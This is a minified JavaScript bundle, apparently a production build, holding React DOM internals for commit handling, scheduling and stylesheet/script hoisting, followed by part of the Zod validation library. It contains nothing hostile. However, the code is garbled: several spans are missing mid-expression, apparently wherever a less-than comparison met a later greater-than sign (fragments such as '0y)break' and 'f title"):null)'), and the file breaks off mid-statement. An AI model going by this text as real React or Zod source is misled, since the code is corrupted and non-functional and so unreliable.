y=Pe;if(Pe|=4,zT(d.current),xT(d,d.current,f,I),Pe=y,Bo(0,!1),hg&&typeof hg.onPostCommitFiberRoot=="function")try{hg.onPostCommitFiberRoot(eo,d)}catch{}return!0}finally{L.p=c,O.T=r,XT(g,A)}}function qT(g,A,I){A=Zg(I,A),A=Qd(g.stateNode,A,2),g=yn(g,A,2),g!==null&&(go(g,2),di(g))}function Ve(g,A,I){if(g.tag===3)qT(g,g,I);else for(;A!==null;){if(A.tag===3){qT(A,g,I);break}else if(A.tag===1){var r=A.stateNode;if(typeof A.type.getDerivedStateFromError=="function"||typeof r.componentDidCatch=="function"&&(On===null||!On.has(r))){g=Zg(I,g),I=JE(2),r=yn(A,I,2),r!==null&&($E(I,r,A,g),go(r,2),di(r));break}}A=A.return}}function mh(g,A,I){var r=g.pingCache;if(r===null){r=g.pingCache=new UX;var c=new Set;r.set(A,c)}else c=r.get(A),c===void 0&&(c=new Set,r.set(A,c));c.has(I)||(ah=!0,c.add(I),g=WX.bind(null,g,A,I),A.then(g,g))}function WX(g,A,I){var r=g.pingCache;r!==null&&r.delete(A),g.pingedLanes|=g.suspendedLanes&I,g.warmLanes&=~I,Qe===g&&(Oe&I)===I&&(lt===4||lt===3&&(Oe&62914560)===Oe&&300>dg()-la?(Pe&2)===0&&jC(g,0):lh|=I,BC===Oe&&(BC=0)),di(g)}function JT(g,A){A===0&&(A=Hw()),g=rA(g,A),g!==null&&(go(g,A),di(g))}function qX(g){var A=g.memoizedState,I=0;A!==null&&(I=A.retryLane),JT(g,I)}function JX(g,A){var I=0;switch(g.tag){case 31:case 13:var r=g.stateNode,c=g.memoizedState;c!==null&&(I=c.retryLane);break;case 19:r=g.stateNode;break;case 22:r=g.stateNode._retryCache;break;default:throw Error(i(314))}r!==null&&r.delete(A),JT(g,I)}function $X(g,A){return Ru(g,A)}var ma=null,GC=null,vh=!1,va=!1,yh=!1,Dn=0;function di(g){g!==GC&&g.next===null&&(GC===null?ma=GC=g:GC=GC.next=g),va=!0,vh||(vh=!0,tW())}function Bo(g,A){if(!yh&&va){yh=!0;do for(var I=!1,r=ma;r!==null;){if(g!==0){var c=r.pendingLanes;if(c===0)var d=0;else{var f=r.suspendedLanes,y=r.pingedLanes;d=(1<<31-fg(42|g)+1)-1,d&=c&~(f&~y),d=d&201326741?d&201326741|1:d?d|2:0}d!==0&&(I=!0,g2(r,d))}else d=Oe,d=Er(r,r===Qe?d:0,r.cancelPendingCommit!==null||r.timeoutHandle!==-1),(d&3)===0||to(r,d)||(I=!0,g2(r,d));r=r.next}while(I);yh=!1}}function eW(){$T()}function $T(){va=vh=!1;var g=0;Dn!==0&&aW()&&(g=Dn);for(var A=dg(),I=null,r=ma;r!==null;){var c=r.next,d=e2(r,A);d===0?(r.next=null,I===null?ma=c:I.next=c,c===null&&(GC=I)):(I=r,(g!==0||(d&3)!==0)&&(va=!0)),r=c}Mt!==0&&Mt!==5||Bo(g),Dn!==0&&(Dn=0)}function e2(g,A){for(var I=g.suspendedLanes,r=g.pingedLanes,c=g.expirationTimes,d=g.pendingLanes&-62914561;0y)break;var G=T.transferSize,U=T.initiatorType;G&&r2(U)&&(T=T.responseEnd,f+=G*(T"u"?null:document;function b2(g,A,I){var r=FC;if(r&&typeof A=="string"&&A){var c=_g(A);c='link[rel="'+g+'"][href="'+c+'"]',typeof I=="string"&&(c+='[crossorigin="'+I+'"]'),y2.has(c)||(y2.add(c),g={rel:g,crossOrigin:I,href:A},r.querySelector(c)===null&&(A=r.createElement("link"),Ut(A,"link",g),Zt(A),r.head.appendChild(A)))}}function vW(g){Hi.D(g),b2("dns-prefetch",g,null)}function yW(g,A){Hi.C(g,A),b2("preconnect",g,A)}function bW(g,A,I){Hi.L(g,A,I);var r=FC;if(r&&g&&A){var c='link[rel="preload"][as="'+_g(A)+'"]';A==="image"&&I&&I.imageSrcSet?(c+='[imagesrcset="'+_g(I.imageSrcSet)+'"]',typeof I.imageSizes=="string"&&(c+='[imagesizes="'+_g(I.imageSizes)+'"]')):c+='[href="'+_g(g)+'"]';var d=c;switch(A){case"style":d=VC(g);break;case"script":d=YC(g)}Fg.has(d)||(g=p({rel:"preload",href:A==="image"&&I&&I.imageSrcSet?void 0:g,as:A},I),Fg.set(d,g),r.querySelector(c)!==null||A==="style"&&r.querySelector(Go(d))||A==="script"&&r.querySelector(Fo(d))||(A=r.createElement("link"),Ut(A,"link",g),Zt(A),r.head.appendChild(A)))}}function wW(g,A){Hi.m(g,A);var I=FC;if(I&&g){var r=A&&typeof A.as=="string"?A.as:"script",c='link[rel="modulepreload"][as="'+_g(r)+'"][href="'+_g(g)+'"]',d=c;switch(r){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":d=YC(g)}if(!Fg.has(d)&&(g=p({rel:"modulepreload",href:g},A),Fg.set(d,g),I.querySelector(c)===null)){switch(r){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(I.querySelector(Fo(d)))return}r=I.createElement("link"),Ut(r,"link",g),Zt(r),I.head.appendChild(r)}}}function EW(g,A,I){Hi.S(g,A,I);var r=FC;if(r&&g){var c=aC(r).hoistableStyles,d=VC(g);A=A||"default";var f=c.get(d);if(!f){var y={loading:0,preload:null};if(f=r.querySelector(Go(d)))y.loading=5;else{g=p({rel:"stylesheet",href:g,"data-precedence":A},I),(I=Fg.get(d))&&Bh(g,I);var T=f=r.createElement("link");Zt(T),Ut(T,"link",g),T._p=new Promise(function(_,G){T.onload=_,T.onerror=G}),T.addEventListener("load",function(){y.loading|=1}),T.addEventListener("error",function(){y.loading|=2}),y.loading|=4,Ta(f,A,r)}f={type:"stylesheet",instance:f,count:1,state:y},c.set(d,f)}}}function TW(g,A){Hi.X(g,A);var I=FC;if(I&&g){var r=aC(I).hoistableScripts,c=YC(g),d=r.get(c);d||(d=I.querySelector(Fo(c)),d||(g=p({src:g,async:!0},A),(A=Fg.get(c))&&Ph(g,A),d=I.createElement("script"),Zt(d),Ut(d,"link",g),I.head.appendChild(d)),d={type:"script",instance:d,count:1,state:null},r.set(c,d))}}function SW(g,A){Hi.M(g,A);var I=FC;if(I&&g){var r=aC(I).hoistableScripts,c=YC(g),d=r.get(c);d||(d=I.querySelector(Fo(c)),d||(g=p({src:g,async:!0,type:"module"},A),(A=Fg.get(c))&&Ph(g,A),d=I.createElement("script"),Zt(d),Ut(d,"link",g),I.head.appendChild(d)),d={type:"script",instance:d,count:1,state:null},r.set(c,d))}}function w2(g,A,I,r){var c=(c=be.current)?Ea(c):null;if(!c)throw Error(i(446));switch(g){case"meta":case"title":return null;case"style":return typeof I.precedence=="string"&&typeof I.href=="string"?(A=VC(I.href),I=aC(c).hoistableStyles,r=I.get(A),r||(r={type:"style",instance:null,count:0,state:null},I.set(A,r)),r):{type:"void",instance:null,count:0,state:null};case"link":if(I.rel==="stylesheet"&&typeof I.href=="string"&&typeof I.precedence=="string"){g=VC(I.href);var d=aC(c).hoistableStyles,f=d.get(g);if(f||(c=c.ownerDocument||c,f={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},d.set(g,f),(d=c.querySelector(Go(g)))&&!d._p&&(f.instance=d,f.state.loading=5),Fg.has(g)||(I={rel:"preload",as:"style",href:I.href,crossOrigin:I.crossOrigin,integrity:I.integrity,media:I.media,hrefLang:I.hrefLang,referrerPolicy:I.referrerPolicy},Fg.set(g,I),d||OW(c,g,I,f.state))),A&&r===null)throw Error(i(528,""));return f}if(A&&r!==null)throw Error(i(529,""));return null;case"script":return A=I.async,I=I.src,typeof I=="string"&&A&&typeof A!="function"&&typeof A!="symbol"?(A=YC(I),I=aC(c).hoistableScripts,r=I.get(A),r||(r={type:"script",instance:null,count:0,state:null},I.set(A,r)),r):{type:"void",instance:null,count:0,state:null};default:throw Error(i(444,g))}}function VC(g){return'href="'+_g(g)+'"'}function Go(g){return'link[rel="stylesheet"]['+g+"]"}function E2(g){return p({},g,{"data-precedence":g.precedence,precedence:null})}function OW(g,A,I,r){g.querySelector('link[rel="preload"][as="style"]['+A+"]")?r.loading=1:(A=g.createElement("link"),r.preload=A,A.addEventListener("load",function(){return r.loading|=1}),A.addEventListener("error",function(){return r.loading|=2}),Ut(A,"link",I),Zt(A),g.head.appendChild(A))}function YC(g){return'[src="'+_g(g)+'"]'}function Fo(g){return"script[async]"+g}function T2(g,A,I){if(A.count++,A.instance===null)switch(A.type){case"style":var r=g.querySelector('style[data-href~="'+_g(I.href)+'"]');if(r)return A.instance=r,Zt(r),r;var c=p({},I,{"data-href":I.href,"data-precedence":I.precedence,href:null,precedence:null});return r=(g.ownerDocument||g).createElement("style"),Zt(r),Ut(r,"style",c),Ta(r,I.precedence,g),A.instance=r;case"stylesheet":c=VC(I.href);var d=g.querySelector(Go(c));if(d)return A.state.loading|=4,A.instance=d,Zt(d),d;r=E2(I),(c=Fg.get(c))&&Bh(r,c),d=(g.ownerDocument||g).createElement("link"),Zt(d);var f=d;return f._p=new Promise(function(y,T){f.onload=y,f.onerror=T}),Ut(d,"link",r),A.state.loading|=4,Ta(d,I.precedence,g),A.instance=d;case"script":return d=YC(I.src),(c=g.querySelector(Fo(d)))?(A.instance=c,Zt(c),c):(r=I,(c=Fg.get(d))&&(r=p({},I),Ph(r,c)),g=g.ownerDocument||g,c=g.createElement("script"),Zt(c),Ut(c,"link",r),g.head.appendChild(c),A.instance=c);case"void":return null;default:throw Error(i(443,A.type))}else A.type==="stylesheet"&&(A.state.loading&4)===0&&(r=A.instance,A.state.loading|=4,Ta(r,I.precedence,g));return A.instance}function Ta(g,A,I){for(var r=I.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),c=r.length?r[r.length-1]:null,d=c,f=0;f title"):null)}function xW(g,A,I){if(I===1||A.itemProp!=null)return!1;switch(g){case"meta":case"title":return!0;case"style":if(typeof A.precedence!="string"||typeof A.href!="string"||A.href==="")break;return!0;case"link":if(typeof A.rel!="string"||typeof A.href!="string"||A.href===""||A.onLoad||A.onError)break;return A.rel==="stylesheet"?(g=A.disabled,typeof A.precedence=="string"&&g==null):!0;case"script":if(A.async&&typeof A.async!="function"&&typeof A.async!="symbol"&&!A.onLoad&&!A.onError&&A.src&&typeof A.src=="string")return!0}return!1}function x2(g){return!(g.type==="stylesheet"&&(g.state.loading&3)===0)}function NW(g,A,I,r){if(I.type==="stylesheet"&&(typeof r.media!="string"||matchMedia(r.media).matches!==!1)&&(I.state.loading&4)===0){if(I.instance===null){var c=VC(r.href),d=A.querySelector(Go(c));if(d){A=d._p,A!==null&&typeof A=="object"&&typeof A.then=="function"&&(g.count++,g=Oa.bind(g),A.then(g,g)),I.state.loading|=4,I.instance=d,Zt(d);return}d=A.ownerDocument||A,r=E2(r),(c=Fg.get(c))&&Bh(r,c),d=d.createElement("link"),Zt(d);var f=d;f._p=new Promise(function(y,T){f.onload=y,f.onerror=T}),Ut(d,"link",r),I.instance=d}g.stylesheets===null&&(g.stylesheets=new Map),g.stylesheets.set(I,A),(A=I.state.preload)&&(I.state.loading&3)===0&&(g.count++,I=Oa.bind(g),A.addEventListener("load",I),A.addEventListener("error",I))}}var jh=0;function DW(g,A){return g.stylesheets&&g.count===0&&Na(g,g.stylesheets),0jh?50:800)+A);return g.unsuspend=I,function(){g.unsuspend=null,clearTimeout(r),clearTimeout(c)}}:null}function Oa(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Na(this,this.stylesheets);else if(this.unsuspend){var g=this.unsuspend;this.unsuspend=null,g()}}}var xa=null;function Na(g,A){g.stylesheets=null,g.unsuspend!==null&&(g.count++,xa=new Map,A.forEach(zW,g),xa=null,Oa.call(g))}function zW(g,A){if(!(A.state.loading&4)){var I=xa.get(g);if(I)var r=I.get(null);else{I=new Map,xa.set(g,I);for(var c=g.querySelectorAll("link[data-precedence],style[data-precedence]"),d=0;d"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}return n(),La.exports=X2(),La.exports}var q2=W2(),gf;function F(n,e,t){function i(a,l){if(a._zod||Object.defineProperty(a,"_zod",{value:{def:l,constr:s,traits:new Set},enumerable:!1}),a._zod.traits.has(n))return;a._zod.traits.add(n),e(a,l);const u=s.prototype,h=Object.keys(u);for(let p=0;pt?.Parent&&a instanceof t.Parent?!0:a?._zod?.traits?.has(n)}),Object.defineProperty(s,"name",{value:n}),s}class wA extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}}class nf extends Error{constructor(e){super(`Encountered unidirectional transform during encode: ${e}`),this.name="ZodEncodeError"}}(gf=globalThis).__zod_globalConfig??(gf.__zod_globalConfig={});const Ya=globalThis.__zod_globalConfig;function hi(n){return Ya}function Af(n){const e=Object.values(n).filter(i=>typeof i=="number");return Object.entries(n).filter(([i,C])=>e.indexOf(+i)===-1).map(([i,C])=>C)}function Ua(n,e){return typeof e=="bigint"?e.toString():e}function Ha(n){return{get value(){{const e=n();return Object.defineProperty(this,"value",{value:e}),e}}}}function Ka(n){return n==null}function Qa(n){const e=n.startsWith("^")?1:0,t=n.endsWith("$")?n.length-1:n.length;return n.slice(e,t)}function J2(n,e){const t=n/e,i=Math.round(t),C=Number.EPSILON*Math.max(Math.abs(t),1);return Math.abs(t-i){};function Ko(n){return typeof n=="object"&&n!==null&&!Array.isArray(n)}const eS=Ha(()=>{if(Ya.jitless||typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{const n=Function;return new n(""),!0}catch{return!1}});function EA(n){if(Ko(n)===!1)return!1;const e=n.constructor;if(e===void 0||typeof e!="function")return!0;const t=e.prototype;return!(Ko(t)===!1||Object.prototype.hasOwnProperty.call(t,"isPrototypeOf")===!1)}function sf(n){return EA(n)?{...n}:Array.isArray(n)?[...n]:n instanceof Map?new Map(n):n instanceof Set?new Set(n):n}const tS=new Set(["string","number","symbol"]);function TA(n){return n.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Qi(n,e,t){const i=new n._zod.constr(e??n._zod.def);return(!e||t?.parent)&&(i._zod.parent=n),i}function oe(n){const e=n;if(!e)return{};if(typeof e=="string")return{error:()=>e};if(e?.message!==void 0){if(e?.error!==void 0)throw new Error("Cannot specify both `message` and `error` params");e.error=e.message}return delete e.message,typeof e.error=="string"?{...e,error:()=>e.error}:e}function gS(n){return Object.keys(n).filter(e=>n[e]._zod.optin==="optional"&&n[e]._zod.optout==="optional")}const iS={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-34028234663852886e22,34028234663852886e22],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]};function nS(n,e){const t=n._zod.def,i=t.checks;if(i&&i.length>0)throw new Error(".pick() cannot be used on object schemas containing refinements");const o=Ki(n._zod.def,{get shape(){const s={};for(const a in e){if(!(a in t.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&(s[a]=t.shape[a])}return Bn(this,"shape",s),s},checks:[]});return Qi(n,o)}function AS(n,e){const t=n._zod.def,i=t.checks;if(i&&i.length>0)throw new Error(".omit() cannot be used on object schemas containing refinements");const o=Ki(n._zod.def,{get shape(){const s={...n._zod.def.shape};for(const a in e){if(!(a in t.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&delete s[a]}return Bn(this,"shape",s),s},checks:[]});return Qi(n,o)}function CS(n,e){if(!EA(e))throw new Error("Invalid input to extend: expected a plain object");const t=n._zod.def.checks;if(t&&t.length>0){const o=n._zod.def.shape;for(const s in e)if(Object.getOwnPropertyDescriptor(o,s)!==void 0)throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.")}const C=Ki(n._zod.def,{get shape(){const o={...n._zod.def.shape,...e};return Bn(this,"shape",o),o}});return Qi(n,C)}function IS(n,e){if(!EA(e))throw new Error("Invalid input to safeExtend: expected a plain object");const t=Ki(n._zod.def,{get shape(){const i={...n._zod.def.shape,...e};return Bn(this,"shape",i),i}});return Qi(n,t)}function oS(n,e){if(n._zod.def.checks?.length)throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.");const t=Ki(n._zod.def,{get shape(){const i={...n._zod.def.shape,...e._zod.def.shape};return Bn(this,"shape",i),i},get catchall(){return e._zod.def.catchall},checks:e._zod.def.checks??[]});return Qi(n,t)}function sS(n,e,t){const C=e._zod.def.checks;if(C&&C.length>0)throw new Error(".partial() cannot be used on object schemas containing refinements");const s=Ki(e._zod.def,{get shape(){const a=e._zod.def.shape,l={...a};if(t)for(const u in t){if(!(u in a))throw new Error(`Unrecognized key: "${u}"`);t[u]&&(l[u]=n?new n({type:"optional",innerType:a[u]}):a[u])}else for(const u in a)l[u]=n?new n({type:"optional",innerType:a[u]}):a[u];return Bn(this,"shape",l),l},checks:[]});return Qi(e,s)}function rS(n,e,t){const i=Ki(e._zod.def,{get shape(){const C=e._zod.def.shape,o={...C};if(t)for(const s in t){if(!(s in o))throw new Error(`Unrecognized key: "${s}"`);t[s]&&(o[s]=new n({type:"nonoptional",innerType:C[s]}))}else for(const s in C)o[s]=new n({type:"nonoptional",innerType:C[s]});return Bn(this,"shape",o),o}});return Qi(e,i)}function SA(n,e=0){if(n.aborted===!0)return!0;for(let t=e;t{var i;return(i=t).path??(i.path=[]),t.path.unshift(n),t})}function Qo(n){return typeof n=="string"?n:n?.message}function fi(n,e,t){const i=n.message?n.message:Qo(n.inst?._zod.def?.error?.(n))??Qo(e?.error?.(n))??Qo(t.customError?.(n))??Qo(t.localeError?.(n))??"Invalid input",{inst:C,continue:o,input:s,...a}=n;return a.path??(a.path=[]),a.message=i,e?.reportInput&&(a.input=s),a}function Xa(n){return Array.isArray(n)?"array":typeof n=="string"?"string":"unknown"}function QC(...n){const[e,t,i]=n;return typeof e=="string"?{message:e,code:"custom",input:t,inst:i}:{...e}}const rf=(n,e)=>{n.name="$ZodError",Object.defineProperty(n,"_zod",{value:n._zod,enumerable:!1}),Object.defineProperty(n,"issues",{value:e,enumerable:!1}),n.message=JSON.stringify(e,Ua,2),Object.defineProperty(n,"toString",{value:()=>n.message,enumerable:!1})},af=F("$ZodError",rf),lf=F("$ZodError",rf,{Parent:Error});function lS(n,e=t=>t.message){const t={},i=[];for(const C of n.issues)C.path.length>0?(t[C.path[0]]=t[C.path[0]]||[],t[C.path[0]].push(e(C))):i.push(e(C));return{formErrors:i,fieldErrors:t}}function cS(n,e=t=>t.message){const t={_errors:[]},i=(C,o=[])=>{for(const s of C.issues)if(s.code==="invalid_union"&&s.errors.length)s.errors.map(a=>i({issues:a},[...o,...s.path]));else if(s.code==="invalid_key")i({issues:s.issues},[...o,...s.path]);else if(s.code==="invalid_element")i({issues:s.issues},[...o,...s.path]);else{const a=[...o,...s.path];if(a.length===0)t._errors.push(e(s));else{let l=t,u=0;for(;u(e,t,i,C)=>{const o=i?{...i,async:!1}:{async:!1},s=e._zod.run({value:t,issues:[]},o);if(s instanceof Promise)throw new wA;if(s.issues.length){const a=new(C?.Err??n)(s.issues.map(l=>fi(l,o,hi())));throw of(a,C?.callee),a}return s.value},qa=n=>async(e,t,i,C)=>{const o=i?{...i,async:!0}:{async:!0};let s=e._zod.run({value:t,issues:[]},o);if(s instanceof Promise&&(s=await s),s.issues.length){const a=new(C?.Err??n)(s.issues.map(l=>fi(l,o,hi())));throw of(a,C?.callee),a}return s.value},Xo=n=>(e,t,i)=>{const C=i?{...i,async:!1}:{async:!1},o=e._zod.run({value:t,issues:[]},C);if(o instanceof Promise)throw new wA;return o.issues.length?{success:!1,error:new(n??af)(o.issues.map(s=>fi(s,C,hi())))}:{success:!0,data:o.value}},uS=Xo(lf),Wo=n=>async(e,t,i)=>{const C=i?{...i,async:!0}:{async:!0};let o=e._zod.run({value:t,issues:[]},C);return o instanceof Promise&&(o=await o),o.issues.length?{success:!1,error:new n(o.issues.map(s=>fi(s,C,hi())))}:{success:!0,data:o.value}},dS=Wo(lf),hS=n=>(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return Wa(n)(e,t,C)},fS=n=>(e,t,i)=>Wa(n)(e,t,i),pS=n=>async(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return qa(n)(e,t,C)},mS=n=>async(e,t,i)=>qa(n)(e,t,i),vS=n=>(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return Xo(n)(e,t,C)},yS=n=>(e,t,i)=>Xo(n)(e,t,i),bS=n=>async(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return Wo(n)(e,t,C)},wS=n=>async(e,t,i)=>Wo(n)(e,t,i),ES=/^[cC][0-9a-z]{6,}$/,TS=/^[0-9a-z]+$/,SS=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,OS=/^[0-9a-vA-V]{20}$/,xS=/^[A-Za-z0-9]{27}$/,NS=/^[a-zA-Z0-9_-]{21}$/,DS=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,zS=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,cf=n=>n?new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${n}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`):/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/,RS=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,MS="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";function _S(){return new RegExp(MS,"u")}const kS=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,ZS=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/,BS=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,PS=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,jS=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,uf=/^[A-Za-z0-9_-]*$/,LS=/^https?$/,GS=/^\+[1-9]\d{6,14}$/,df="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",FS=new RegExp(`^${df}$`);function hf(n){const e="(?:[01]\\d|2[0-3]):[0-5]\\d";return typeof n.precision=="number"?n.precision===-1?`${e}`:n.precision===0?`${e}:[0-5]\\d`:`${e}:[0-5]\\d\\.\\d{${n.precision}}`:`${e}(?::[0-5]\\d(?:\\.\\d+)?)?`}function VS(n){return new RegExp(`^${hf(n)}$`)}function YS(n){const e=hf({precision:n.precision}),t=["Z"];n.local&&t.push(""),n.offset&&t.push("([+-](?:[01]\\d|2[0-3]):[0-5]\\d)");const i=`${e}(?:${t.join("|")})`;return new RegExp(`^${df}T(?:${i})$`)}const US=n=>{const e=n?`[\\s\\S]{${n?.minimum??0},${n?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${e}$`)},HS=/^-?\d+$/,ff=/^-?\d+(?:\.\d+)?$/,KS=/^(?:true|false)$/i,QS=/^[^A-Z]*$/,XS=/^[^a-z]*$/,tg=F("$ZodCheck",(n,e)=>{var t;n._zod??(n._zod={}),n._zod.def=e,(t=n._zod).onattach??(t.onattach=[])}),pf={number:"number",bigint:"bigint",object:"date"},mf=F("$ZodCheckLessThan",(n,e)=>{tg.init(n,e);const t=pf[typeof e.value];n._zod.onattach.push(i=>{const C=i._zod.bag,o=(e.inclusive?C.maximum:C.exclusiveMaximum)??Number.POSITIVE_INFINITY;e.value{(e.inclusive?i.value<=e.value:i.value{tg.init(n,e);const t=pf[typeof e.value];n._zod.onattach.push(i=>{const C=i._zod.bag,o=(e.inclusive?C.minimum:C.exclusiveMinimum)??Number.NEGATIVE_INFINITY;e.value>o&&(e.inclusive?C.minimum=e.value:C.exclusiveMinimum=e.value)}),n._zod.check=i=>{(e.inclusive?i.value>=e.value:i.value>e.value)||i.issues.push({origin:t,code:"too_small",minimum:typeof e.value=="object"?e.value.getTime():e.value,input:i.value,inclusive:e.inclusive,inst:n,continue:!e.abort})}}),WS=F("$ZodCheckMultipleOf",(n,e)=>{tg.init(n,e),n._zod.onattach.push(t=>{var i;(i=t._zod.bag).multipleOf??(i.multipleOf=e.value)}),n._zod.check=t=>{if(typeof t.value!=typeof e.value)throw new Error("Cannot mix number and bigint in multiple_of check.");(typeof t.value=="bigint"?t.value%e.value===BigInt(0):J2(t.value,e.value)===0)||t.issues.push({origin:typeof t.value,code:"not_multiple_of",divisor:e.value,input:t.value,inst:n,continue:!e.abort})}}),qS=F("$ZodCheckNumberFormat",(n,e)=>{tg.init(n,e),e.format=e.format||"float64";const t=e.format?.includes("int"),i=t?"int":"number",[C,o]=iS[e.format];n._zod.onattach.push(s=>{const a=s._zod.bag;a.format=e.format,a.minimum=C,a.maximum=o,t&&(a.pattern=HS)}),n._zod.check=s=>{const a=s.value;if(t){if(!Number.isInteger(a)){s.issues.push({expected:i,format:e.format,code:"invalid_type",continue:!1,input:a,inst:n});return}if(!Number.isSafeInteger(a)){a>0?s.issues.push({input:a,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:n,origin:i,inclusive:!0,continue:!e.abort}):s.issues.push({input:a,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:n,origin:i,inclusive:!0,continue:!e.abort});return}}ao&&s.issues.push({origin:"number",input:a,code:"too_big",maximum:o,inclusive:!0,inst:n,continue:!e.abort})}}),JS=F("$ZodCheckMaxLength",(n,e)=>{var t;tg.init(n,e),(t=n._zod.def).when??(t.when=i=>{const C=i.value;return!Ka(C)&&C.length!==void 0}),n._zod.onattach.push(i=>{const C=i._zod.bag.maximum??Number.POSITIVE_INFINITY;e.maximum{const C=i.value;if(C.length<=e.maximum)return;const s=Xa(C);i.issues.push({origin:s,code:"too_big",maximum:e.maximum,inclusive:!0,input:C,inst:n,continue:!e.abort})}}),$S=F("$ZodCheckMinLength",(n,e)=>{var t;tg.init(n,e),(t=n._zod.def).when??(t.when=i=>{const C=i.value;return!Ka(C)&&C.length!==void 0}),n._zod.onattach.push(i=>{const C=i._zod.bag.minimum??Number.NEGATIVE_INFINITY;e.minimum>C&&(i._zod.bag.minimum=e.minimum)}),n._zod.check=i=>{const C=i.value;if(C.length>=e.minimum)return;const s=Xa(C);i.issues.push({origin:s,code:"too_small",minimum:e.minimum,inclusive:!0,input:C,inst:n,continue:!e.abort})}}),eO=F("$ZodCheckLengthEquals",(n,e)=>{var t;tg.init(n,e),(t=n._zod.def).when??(t.when=i=>{const C=i.value;return!Ka(C)&&C.length!==void 0}),n._zod.onattach.push(i=>{const C=i._zod.bag;C.minimum=e.length,C.maximum=e.length,C.length=e.length}),n._zod.check=i=>{const C=i.value,o=C.length;if(o===e.length)return;const s=Xa(C),a=o>e.length;i.issues.push({origin:s,...a?{code:"too_big",maximum:e.length}:{code:"too_small",minimum:e.length},inclusive:!0,exact:!0,input:i.value,inst:n,continue:!e.abort})}}),qo=F("$ZodCheckStringFormat",(n,e)=>{var t,i;tg.init(n,e),n._zod.onattach.push(C=>{const o=C._zod.bag;o.format=e.format,e.pattern&&(o.patterns??(o.patterns=new 